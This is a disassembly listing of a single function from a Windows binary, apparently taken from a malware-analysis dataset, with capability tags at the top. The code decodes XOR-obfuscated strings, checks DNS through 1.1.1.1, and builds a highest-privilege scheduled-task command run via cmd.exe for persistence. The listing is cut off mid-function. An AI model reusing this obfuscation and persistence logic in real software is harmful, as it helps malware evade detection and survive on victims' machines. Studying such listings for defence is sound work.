Function at 0x140008cb0
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Parse pe header
Reference cloudflare dns server

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x5c0]
sub rsp, 0x6c0
xor edi, edi
mov dword [rbp + 0x5f0], edi
cmp dword [0x14001fd50], edi
je 0x140008ceb
mov ecx, 0x98967f
call qword [0x14001ff68]
jmp 0x14000a3df
cmp dword [0x14001faf8], edi
je 0x14000a3d5
xorps xmm0, xmm0
movups xmmword [rbp + 0x128], xmm0
mov qword [rbp + 0x138], rdi
mov qword [rbp + 0x140], 0xf
mov ecx, 0x20
call fcn.14001320c
mov qword [rbp + 0x128], rax
mov qword [rbp + 0x138], 0x18
mov qword [rbp + 0x140], 0x1f
movups xmm0, xmmword [str.dns.ms_api_microsoft.com]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140018cf8]
movsd qword [rax + 0x10], xmm0
mov byte [rax + 0x18], dil
xorps xmm0, xmm0
movups xmmword [rbp + 0x168], xmm0
mov qword [rbp + 0x178], 7
mov qword [rbp + 0x180], 0xf
mov rax, qword [str.1.1.1.1]
mov dword [rbp + 0x168], eax
movzx eax, word [0x140018ce4]
mov word [rbp + 0x16c], ax
movzx eax, byte [0x140018ce6]
mov byte [rbp + 0x16e], al
mov byte [rbp + 0x16f], 0
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x1c8]
call fcn.14000e5a0
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140008dc4
mov rcx, qword [rax]
mov r8, qword [rax + 0x10]
cmp r8, 7
jne 0x140008de3
lea rdx, [rbp + 0x168]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140008de3
xor r15b, r15b
jmp 0x140008de6
mov r15b, 1
mov rdx, qword [rbp + 0x1e0]
cmp rdx, 0xf
jbe 0x140008e2a
inc rdx
mov rcx, qword [rbp + 0x1c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008e25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008e25
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013248
movdqa xmm0, xmmword [0x140019f20]
movdqu xmmword [rbp + 0x1d8], xmm0
mov byte [rbp + 0x1c8], 0
mov qword [rbp + 0x178], rdi
mov qword [rbp + 0x180], 0xf
mov byte [rbp + 0x168], 0
mov rdx, qword [rbp + 0x140]
cmp rdx, 0xf
jbe 0x140008e9e
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008e99
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008e99
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013248
mov qword [rbp + 0x138], rdi
mov qword [rbp + 0x140], 0xf
mov byte [rbp + 0x128], 0
mov dword [rbp - 4], 0x22
mov byte [rbp], 0x79
mov byte [rbp + 1], 0xf
mov byte [rbp + 2], 0x7f
mov byte [rbp + 3], 2
mov byte [rbp + 4], 0x56
mov byte [rbp + 5], 0x50
mov byte [rbp + 6], 0x5b
mov byte [rbp + 7], 2
mov byte [rbp + 8], 0x4e
mov byte [rbp + 9], 0x4d
mov byte [rbp + 0xa], 0x43
mov byte [rbp + 0xb], 0x46
mov byte [rbp + 0xc], 0x4b
mov byte [rbp + 0xd], 0x4c
mov byte [rbp + 0xe], 0x45
mov byte [rbp + 0xf], 2
mov byte [rbp + 0x10], 0x55
mov byte [rbp + 0x11], 0x47
mov byte [rbp + 0x12], 0x45
mov byte [rbp + 0x13], 0x43
mov byte [rbp + 0x14], 0x4f
mov byte [rbp + 0x15], 0x47
mov byte [rbp + 0x16], 0x7d
mov byte [rbp + 0x17], 0x51
mov byte [rbp + 0x18], 0x47
mov byte [rbp + 0x19], 0x50
mov byte [rbp + 0x1a], 0x54
mov byte [rbp + 0x1b], 0x4b
mov byte [rbp + 0x1c], 0x41
mov byte [rbp + 0x1d], 0x47
mov byte [rbp + 0x1e], 0xc
mov byte [rbp + 0x1f], 0x47
mov byte [rbp + 0x20], 0x5a
mov byte [rbp + 0x21], 0x47
xor eax, eax
mov byte [rbp + 0x22], al
movzx eax, byte [rbp]
mov rdx, rdi
movzx eax, byte [rbp + rdx]
mov ecx, dword [rbp - 4]
xor cl, al
mov byte [rbp + rdx], cl
inc rdx
cmp rdx, 0x22
jb 0x140008f52
mov byte [rbp + 0x22], 0
lea rdx, [rbp]
lea rcx, [rbp + 0x2c8]
call fcn.140003760
mov rcx, rax
call fcn.14000d750
mov dword [rsp + 0x64], WSACleanup
mov eax, dword [rsp + 0x64]
xor al, 0x43
mov byte [rsp + 0x68], al
mov eax, dword [rsp + 0x64]
inc al
xor al, 0x3a
mov byte [rsp + 0x69], al
mov eax, dword [rsp + 0x64]
add al, 2
xor al, 0x5c
mov byte [rsp + 0x6a], al
mov eax, dword [rsp + 0x64]
add al, 3
xor al, 0x50
mov byte [rsp + 0x6b], al
mov eax, dword [rsp + 0x64]
add al, 4
xor al, 0x72
mov byte [rsp + 0x6c], al
mov eax, dword [rsp + 0x64]
add al, 5
xor al, 0x6f
mov byte [rsp + 0x6d], al
mov eax, dword [rsp + 0x64]
add al, 6
xor al, 0x67
mov byte [rsp + 0x6e], al
mov eax, dword [rsp + 0x64]
add al, 7
xor al, 0x72
mov byte [rsp + 0x6f], al
mov eax, dword [rsp + 0x64]
add al, 8
xor al, 0x61
mov byte [rsp + 0x70], al
mov eax, dword [rsp + 0x64]
add al, 9
xor al, 0x6d
mov byte [rsp + 0x71], al
mov eax, dword [rsp + 0x64]
add al, 0xa
xor al, 0x20
mov byte [rsp + 0x72], al
mov eax, dword [rsp + 0x64]
add al, 0xb
xor al, 0x46
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x64]
add al, 0xc
xor al, 0x69
mov byte [rsp + 0x74], al
mov eax, dword [rsp + 0x64]
add al, 0xd
xor al, 0x6c
mov byte [rsp + 0x75], al
mov eax, dword [rsp + 0x64]
add al, 0xe
xor al, 0x65
mov byte [rsp + 0x76], al
mov eax, dword [rsp + 0x64]
add al, 0xf
xor al, 0x73
mov byte [rsp + 0x77], al
mov eax, dword [rsp + 0x64]
add al, 0x10
xor al, 0x20
mov byte [rsp + 0x78], al
mov eax, dword [rsp + 0x64]
add al, 0x11
xor al, 0x28
mov byte [rsp + 0x79], al
mov eax, dword [rsp + 0x64]
add al, 0x12
xor al, 0x78
mov byte [rsp + 0x7a], al
mov eax, dword [rsp + 0x64]
add al, 0x13
xor al, 0x38
mov byte [rsp + 0x7b], al
mov eax, dword [rsp + 0x64]
add al, 0x14
xor al, 0x36
mov byte [rsp + 0x7c], al
mov eax, dword [rsp + 0x64]
add al, 0x15
xor al, 0x29
mov byte [rsp + 0x7d], al
mov eax, dword [rsp + 0x64]
add al, 0x16
xor al, 0x5c
mov byte [rsp + 0x7e], al
mov eax, dword [rsp + 0x64]
add al, 0x17
xor al, 0x57
mov byte [rsp + 0x7f], al
mov eax, dword [rsp + 0x64]
add al, 0x18
xor al, 0x65
mov byte [rbp - 0x80], al
mov eax, dword [rsp + 0x64]
add al, 0x19
xor al, 0x67
mov byte [rbp - 0x7f], al
mov eax, dword [rsp + 0x64]
add al, 0x1a
xor al, 0x61
mov byte [rbp - 0x7e], al
mov eax, dword [rsp + 0x64]
add al, 0x1b
xor al, 0x6d
mov byte [rbp - 0x7d], al
mov eax, dword [rsp + 0x64]
add al, 0x1c
xor al, 0x65
mov byte [rbp - 0x7c], al
mov eax, dword [rsp + 0x64]
add al, 0x1d
xor al, 0x5c
mov byte [rbp - 0x7b], al
mov eax, dword [rsp + 0x64]
add al, 0x1e
xor al, 0x77
mov byte [rbp - 0x7a], al
mov eax, dword [rsp + 0x64]
add al, 0x1f
xor al, 0x65
mov byte [rbp - 0x79], al
mov eax, dword [rsp + 0x64]
add al, 0x20
xor al, 0x67
mov byte [rbp - 0x78], al
mov eax, dword [rsp + 0x64]
add al, 0x21
xor al, 0x61
mov byte [rbp - 0x77], al
mov eax, dword [rsp + 0x64]
add al, 0x22
xor al, 0x6d
mov byte [rbp - 0x76], al
mov eax, dword [rsp + 0x64]
add al, 0x23
xor al, 0x65
mov byte [rbp - 0x75], al
mov eax, dword [rsp + 0x64]
add al, 0x24
xor al, 0x5f
mov byte [rbp - 0x74], al
mov eax, dword [rsp + 0x64]
add al, 0x25
xor al, 0x73
mov byte [rbp - 0x73], al
mov eax, dword [rsp + 0x64]
add al, 0x26
xor al, 0x65
mov byte [rbp - 0x72], al
mov eax, dword [rsp + 0x64]
add al, 0x27
xor al, 0x72
mov byte [rbp - 0x71], al
mov eax, dword [rsp + 0x64]
add al, 0x28
xor al, 0x76
mov byte [rbp - 0x70], al
mov eax, dword [rsp + 0x64]
add al, 0x29
xor al, 0x69
mov byte [rbp - 0x6f], al
mov eax, dword [rsp + 0x64]
add al, 0x2a
xor al, 0x63
mov byte [rbp - 0x6e], al
mov eax, dword [rsp + 0x64]
add al, 0x2b
xor al, 0x65
mov byte [rbp - 0x6d], al
mov eax, dword [rsp + 0x64]
add al, 0x2c
xor al, 0x2e
mov byte [rbp - 0x6c], al
mov eax, dword [rsp + 0x64]
add al, 0x2d
xor al, 0x65
mov byte [rbp - 0x6b], al
mov eax, dword [rsp + 0x64]
add al, 0x2e
xor al, 0x78
mov byte [rbp - 0x6a], al
mov eax, dword [rsp + 0x64]
add al, 0x2f
xor al, 0x65
mov byte [rbp - 0x69], al
xor eax, eax
mov byte [rbp - 0x68], al
movzx eax, byte [rsp + 0x68]
mov rdx, rdi
movzx eax, byte [rsp + rdx + 0x68]
mov ecx, dword [rsp + 0x64]
add cl, dl
xor cl, al
mov byte [rsp + rdx + 0x68], cl
inc rdx
cmp rdx, 0x30
jb 0x1400091c0
mov byte [rbp - 0x68], 0
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0xc8]
call fcn.140003760
nop
mov dword [rbp - 0x1c], 0x1f
mov byte [rbp - 0x18], 0x68
mov byte [rbp - 0x17], 0x7a
mov byte [rbp - 0x16], 0x78
mov byte [rbp - 0x15], 0x7e
mov byte [rbp - 0x14], WSACleanup
mov byte [rbp - 0x13], 0x7a
mov byte [rbp - 0x12], 0x40
mov byte [rbp - 0x11], 0x6c
mov byte [rbp - 0x10], 0x7a
mov byte [rbp - 0xf], 0x6d
mov byte [rbp - 0xe], 0x69
mov byte [rbp - 0xd], 0x76
mov byte [rbp - 0xc], 0x7c
mov byte [rbp - 0xb], 0x7a
mov byte [rbp - 0xa], 0x31
mov byte [rbp - 9], 0x7a
mov byte [rbp - 8], 0x67
mov byte [rbp - 7], 0x7a
xor eax, eax
mov byte [rbp - 6], al
movzx eax, byte [rbp - 0x18]
mov rdx, rdi
nop dword [rax + rax]
movzx eax, byte [rbp + rdx - 0x18]
mov ecx, dword [rbp - 0x1c]
xor cl, al
mov byte [rbp + rdx - 0x18], cl
inc rdx
cmp rdx, 0x12
jb 0x140009250
mov byte [rbp - 6], 0
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x2a8]
call fcn.140003760
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xa8], xmm0
mov qword [rbp + 0xb8], rdi
mov r8d, 0xf
mov qword [rbp + 0xc0], r8
mov byte [rbp + 0xa8], 0
mov dword [rbp + 0x5f0], 2
lea rbx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], r8
cmova rbx, qword [rbp + 0xc8]
lea r14, [rbp + 0xc8]
cmova r14, qword [rbp + 0xc8]
add r14, qword [rbp + 0xd8]
cmp rbx, r14
je 0x14000938a
movzx esi, byte [rbx]
cmp sil, 0x5c
jne 0x140009331
mov rcx, qword [rbp + 0xb8]
cmp rcx, r8
jae 0x14000931b
lea rax, [rcx + 1]
mov qword [rbp + 0xb8], rax
lea rax, [rbp + 0xa8]
cmp r8, 0xf
cmova rax, qword [rbp + 0xa8]
mov word [rax + rcx], 0x5c
jmp 0x14000932a
mov r9b, 0x5c
lea rcx, [rbp + 0xa8]
call fcn.140003290
mov r8, qword [rbp + 0xc0]
mov rcx, qword [rbp + 0xb8]
cmp rcx, r8
jae 0x140009366
lea rax, [rcx + 1]
mov qword [rbp + 0xb8], rax
lea rax, [rbp + 0xa8]
cmp r8, 0xf
cmova rax, qword [rbp + 0xa8]
mov byte [rax + rcx], sil
mov byte [rax + rcx + 1], 0
jmp 0x140009376
movzx r9d, sil
lea rcx, [rbp + 0xa8]
call fcn.140003290
inc rbx
cmp rbx, r14
je 0x14000938a
mov r8, qword [rbp + 0xc0]
jmp 0x1400092e0
lea rcx, [rbp + 0x228]
call fcn.14000f0c0
nop
mov rdx, rax
lea rcx, [rbp + 0x208]
call fcn.14000dd90
mov r8, rax
mov dword [rbp + 0x74], 0x48
mov byte [rbp + 0x78], 0x67
mov byte [rbp + 0x79], 0x2b
mov byte [rbp + 0x7a], 0x68
mov byte [rbp + 0x7b], 0x1b
mov byte [rbp + 0x7c], 0xb
mov byte [rbp + 0x7d], 0
mov byte [rbp + 0x7e], 0x1c
mov byte [rbp + 0x7f], 9
mov byte [rbp + 0x80], 0x1b
mov byte [rbp + 0x81], 3
mov byte [rbp + 0x82], 0x1b
mov byte [rbp + 0x83], 0x68
mov byte [rbp + 0x84], 0x67
mov byte [rbp + 0x85], 0xb
mov byte [rbp + 0x86], 0x3a
mov byte [rbp + 0x87], 0x2d
mov byte [rbp + 0x88], 0x29
mov byte [rbp + 0x89], 0x3c
mov byte [rbp + 0x8a], 0x2d
mov byte [rbp + 0x8b], 0x68
mov byte [rbp + 0x8c], 0x67
mov byte [rbp + 0x8d], 0xe
mov byte [rbp + 0x8e], 0x68
mov byte [rbp + 0x8f], 0x67
mov byte [rbp + 0x90], 0x1c
mov byte [rbp + 0x91], 6
mov byte [rbp + 0x92], 0x68
mov byte [rbp + 0x93], 0x6a
mov byte [rbp + 0x94], 0x14
mov byte [rbp + 0x95], 0x18
mov byte [rbp + 0x96], 0x29
mov byte [rbp + 0x97], 0x31
mov byte [rbp + 0x98], 0x24
mov byte [rbp + 0x99], 0x27
mov byte [rbp + 0x9a], 0x29
mov byte [rbp + 0x9b], 0x2c
mov byte [rbp + 0x9c], 0x1c
mov byte [rbp + 0x9d], 0x29
mov byte [rbp + 0x9e], 0x3b
mov byte [rbp + 0x9f], 0x23
mov byte [rbp + 0xa0], 0x6a
mov byte [rbp + 0xa1], 0x68
mov byte [rbp + 0xa2], 0x67
mov byte [rbp + 0xa3], 0x1a
mov byte [rbp + 0xa4], 0x1d
mov byte [rbp + 0xa5], 0x68
xor eax, eax
mov byte [rbp + 0xa6], al
movzx eax, byte [rbp + 0x78]
mov rdx, rdi
nop dword [rax]
movzx eax, byte [rbp + rdx + 0x78]
mov ecx, dword [rbp + 0x74]
xor cl, al
mov byte [rbp + rdx + 0x78], cl
inc rdx
cmp rdx, 0x2e
jb 0x1400094f0
mov byte [rbp + 0xa6], 0
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x1e8]
call fcn.1400051c0
mov rsi, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x26
jb 0x140009568
lea rax, [rcx + 0x26]
mov qword [rsi + 0x10], rax
mov rax, rsi
cmp rdx, 0xf
jbe 0x140009549
mov rax, qword [rsi]
lea rbx, [rax + rcx]
mov r8d, 0x26
lea rdx, str._RL_HIGHEST__SC_ONCE__ST_00:00__TR___
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x26], 0
jmp 0x140009588
mov qword [rsp + 0x20], 0x26
lea r9, str._RL_HIGHEST__SC_ONCE__ST_00:00__TR___
mov edx, 0x26
mov rcx, rsi
call fcn.140003400
mov rsi, rax
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x188], xmm0
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rbp + 0x198], xmm1
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov dword [rbp + 0x5f0], 6
lea r9, [rbp + 0xa8]
lea r8, [rbp + 0x188]
lea rcx, [rbp + 0x1a8]
call fcn.14000a410
mov dword [rbp + 0x5f0], 0xe
mov byte [rbp + 0x24], 0x60
mov byte [rbp + 0x25], 0x26
mov byte [rbp + 0x26], 0x26
mov byte [rbp + 0x27], 0x24
mov byte [rbp + 0x28], 0x2a
mov byte [rbp + 0x29], 0x24
mov byte [rbp + 0x2a], 0x57
mov byte [rbp + 0x2b], 0x47
mov byte [rbp + 0x2c], 0x4c
mov byte [rbp + 0x2d], 0x58
mov byte [rbp + 0x2e], 0x45
mov byte [rbp + 0x2f], 0x57
mov byte [rbp + 0x30], 0x4f
mov byte [rbp + 0x31], 0x57
mov byte [rbp + 0x32], 0x24
mov byte [rbp + 0x33], 0x33
mov byte [rbp + 0x34], 0x56
mov byte [rbp + 0x35], 0x79
mov byte [rbp + 0x36], WSACleanup
mov byte [rbp + 0x37], 0x24
mov byte [rbp + 0x38], 0x33
mov byte [rbp + 0x39], 0x58
mov byte [rbp + 0x3a], 0x52
mov byte [rbp + 0x3b], 0x24
mov byte [rbp + 0x3c], 0x26
mov byte [rbp + 0x3d], 0x60
mov byte [rbp + 0x3e], 0x54
mov byte [rbp + 0x3f], 0x65
mov byte [rbp + 0x40], 0x7d
mov byte [rbp + 0x41], WSAStartup
mov byte [rbp + 0x42], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x43], 0x65
mov byte [rbp + 0x44], 0x68
mov byte [rbp + 0x45], 0x58
mov byte [rbp + 0x46], 0x65
mov byte [rbp + 0x47], 0x77
mov byte [rbp + 0x48], 0x6f
mov byte [rbp + 0x49], 0x26
mov byte [rbp + 0x4a], 0x24
mov byte [rbp + 0x4b], 0x2a
mov byte [rbp + 0x4c], 0x24
mov byte [rbp + 0x4d], 0x77
mov byte [rbp + 0x4e], 0x67
mov byte [rbp + 0x4f], 0x6c
mov byte [rbp + 0x50], 0x78
mov byte [rbp + 0x51], 0x65
mov byte [rbp + 0x52], 0x77
mov byte [rbp + 0x53], 0x6f
mov byte [rbp + 0x54], 0x77
mov byte [rbp + 0x55], 0x24
mov byte [rbp + 0x56], 0x33
mov byte [rbp + 0x57], 0x48
mov byte [rbp + 0x58], 0x69
mov byte [rbp + 0x59], WSAStartup
mov byte [rbp + 0x5a], 0x69
mov byte [rbp + 0x5b], 0x78
mov byte [rbp + 0x5c], 0x69
mov byte [rbp + 0x5d], 0x24
mov byte [rbp + 0x5e], 0x33
mov byte [rbp + 0x5f], 0x58
mov byte [rbp + 0x60], 0x52
mov byte [rbp + 0x61], 0x24
mov byte [rbp + 0x62], 0x26
mov byte [rbp + 0x63], 0x60
mov byte [rbp + 0x64], 0x54
mov byte [rbp + 0x65], 0x65
mov byte [rbp + 0x66], 0x7d
mov byte [rbp + 0x67], WSAStartup
mov byte [rbp + 0x68], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x69], 0x65
mov byte [rbp + 0x6a], 0x68
mov byte [rbp + 0x6b], 0x58
mov byte [rbp + 0x6c], 0x65
mov byte [rbp + 0x6d], 0x77
mov byte [rbp + 0x6e], 0x6f
mov byte [rbp + 0x6f], 0x26
mov byte [rbp + 0x70], 0x24
mov byte [rbp + 0x71], 0x33
mov byte [rbp + 0x72], 0x4a
mov byte [rbp + 0x73], 0
movzx eax, byte [rbp + 0x24]
mov rcx, rdi
movzx eax, byte [rbp + rcx + 0x24]
sub al, 4
mov byte [rbp + rcx + 0x24], al
inc rcx
cmp rcx, 0x4f
jb 0x140009721
lea rdx, [rbp + 0x24]
lea rcx, [rbp + 0x1a8]
call fcn.140003160
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf8], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x1c0]
cmp rdx, 0xf
jbe 0x1400097c2
inc rdx
mov rcx, qword [rbp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400097bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400097bd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013248
movdqa xmm0, xmmword [0x140019f20]
movdqu xmmword [rbp + 0x1b8], xmm0
mov byte [rbp + 0x1a8], 0
mov rdx, qword [rbp + 0x1a0]
cmp rdx, 0xf
jbe 0x14000981d
inc rdx
mov rcx, qword [rbp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009818
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009818
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013248
movdqa xmm0, xmmword [0x140019f20]
movdqu xmmword [rbp + 0x198], xmm0
mov byte [rbp + 0x188], 0
mov rdx, qword [rbp + 0x200]
cmp rdx, 0xf
jbe 0x140009878
inc rdx
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009873
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009873
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013248
movdqa xmm0, xmmword [0x140019f20]
movdqu xmmword [rbp + 0x1f8], xmm0
mov byte [rbp + 0x1e8], 0
mov rdx, qword [rbp + 0x220]
cmp rdx, 0xf
jbe 0x1400098d3
inc rdx
mov rcx, qword [rbp + 0x208]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400098ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400098ce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013248
movdqa xmm0, xmmword [0x140019f20]
movdqu xmmword [rbp + 0x218], xmm0
mov byte [rbp + 0x208], 0
mov rdx, qword [rbp + 0x240]
cmp rdx, 7
jbe 0x140009933
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x228]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000992e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000992e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013248
movdqa xmm0, xmmword [0x140019f10]
movdqu xmmword [rbp + 0x238], xmm0
mov word [rbp + 0x228], di
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0xf
jbe 0x14000998e
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009989
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009989
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013248
mov qword [rbp + 0xb8], rdi
mov qword [rbp + 0xc0], 0xf
mov byte [rbp + 0xa8], 0
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x248]
call fcn.14000dc60
nop
mov dword [rbp + 0x5f0], 0x1d
cmp qword [rax + 0x18], 7
jbe 0x1400099cf
mov rax, qword [rax]
lea rdx, [rbp + 0x370]
mov rcx, rax
call qword [0x14001fdf8]
cmp rax, 0xffffffffffffffff
jne 0x140009a4a
mov rcx, rax
call qword [0x14001fe68]
xor bl, bl
mov dword [rbp + 0x5f0], 0x1c
mov rdx, qword [rbp + 0x260]
cmp rdx, 7
jbe 0x140009b87
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x248]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009b82
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009b82
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, rax
call qword [0x14001fe68]
xorps xmm0, xmm0
movups xmmword [rbp + 0x148], xmm0
mov qword [rbp + 0x158], rdi
mov qword [rbp + 0x160], rdi
lea r14, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0xf
cmova r14, qword [rbp + 0xc8]
mov rsi, qword [rbp + 0xd8]
movabs rbx, 0x7fffffffffffffff
cmp rsi, rbx
ja 0x14000a3f6
mov qword [rbp + 0x160], 0xf
cmp rsi, 0xf
ja 0x140009ac4
mov qword [rbp + 0x158], rsi
movups xmm0, xmmword [r14]
movups xmmword [rbp + 0x148], xmm0
jmp 0x140009b61
mov rax, rsi
or rax, 0xf
cmp rax, rbx
jbe 0x140009afc
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14001320c
mov rcx, rax
test rax, rax
je 0x140009b27
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140009b3d
mov rbx, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140009b2e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000a3fc
jmp 0x140009ade
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140009b3a
call fcn.14001320c
jmp 0x140009b3d
mov rax, rdi
mov qword [rbp + 0x148], rax
mov qword [rbp + 0x158], rsi
mov qword [rbp + 0x160], rbx
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x148]
call fcn.14000e430
comisd xmm0, xmmword [0x140019ef8]
jbe 0x1400099ee
mov bl, 1
jmp 0x1400099f0
call fcn.140013248
movdqa xmm0, xmmword [0x140019f10]
movdqu xmmword [rbp + 0x258], xmm0
mov word [rbp + 0x248], di
test bl, bl
je 0x140009e41
lea r9, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0xf
cmova r9, qword [rbp + 0xe8]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
lea r8, str.cmd.exe
lea rdx, [0x140018c68]
xor ecx, ecx
call qword [0x14001feb8]
mov dword [rsp + 0x30], 0x44
mov eax, dword [rsp + 0x30]
xor al, 0x5b
mov byte [rsp + 0x34], al
mov eax, dword [rsp + 0x30]
inc al
xor al, 0x2d
mov byte [rsp + 0x35], al
mov eax, dword [rsp + 0x30]
add al, 2
xor al, 0x5d
mov byte [rsp + 0x36], al
mov eax, dword [rsp + 0x30]
add al, 3
xor al, 0x20
mov byte [rsp + 0x37], al
mov eax, dword [rsp + 0x30]
add al, 4
xor al, 0x6c
mov byte [rsp + 0x38], al
mov eax, dword [rsp + 0x30]
add al, 5
xor al, 0x6f
mov byte [rsp + 0x39], al
mov eax, dword [rsp + 0x30]
add al, 6
xor al, 0x61
mov byte [rsp + 0x3a], al
mov eax, dword [rsp + 0x30]
add al, 7
xor al, 0x64
mov byte [rsp + 0x3b], al
mov eax, dword [rsp + 0x30]
add al, 8
xor al, 0x65
mov byte [rsp + 0x3c], al
mov eax, dword [rsp + 0x30]
add al, 9
xor al, 0x64
mov byte [rsp + 0x3d], al
mov eax, dword [rsp + 0x30]
add al, 0xa
xor al, 0x20
mov byte [rsp + 0x3e], al
mov eax, dword [rsp + 0x30]
add al, 0xb
xor al, 0x77
mov byte [rsp + 0x3f], al
mov eax, dword [rsp + 0x30]
add al, 0xc
xor al, 0x65
mov byte [rsp + 0x40], al
mov eax, dword [rsp + 0x30]
add al, 0xd
xor al, 0x67
mov byte [rsp + 0x41], al
mov eax, dword [rsp + 0x30]
add al, 0xe
xor al, 0x61
mov byte [rsp + 0x42], al
mov eax, dword [rsp + 0x30]
add al, 0xf
xor al, 0x6d
mov byte [rsp + 0x43], al
mov eax, dword [rsp + 0x30]
add al, 0x10
xor al, 0x65
mov byte [rsp + 0x44], al
mov eax, dword [rsp + 0x30]
add al, 0x11
xor al, 0x5f
mov byte [rsp + 0x45], al
mov eax, dword [rsp + 0x30]
add al, 0x12
xor al, 0x73
mov byte [rsp + 0x46], al
mov eax, dword [rsp + 0x30]
add al, 0x13
xor al, 0x65
mov byte [rsp + 0x47], al
mov eax, dword [rsp + 0x30]
add al, 0x14
xor al, 0x72
mov byte [rsp + 0x48], al
mov eax, dword [rsp + 0x30]
add al, 0x15
xor al, 0x76
mov byte [rsp + 0x49], al
mov eax, dword [rsp + 0x30]
add al, 0x16
xor al, 0x69
mov byte [rsp + 0x4a], al
mov eax, dword [rsp + 0x30]
add al, 0x17
xor al, 0x63
mov byte [rsp + 0x4b], al
mov eax, dword [rsp + 0x30]
add al, 0x18
xor al, 0x65
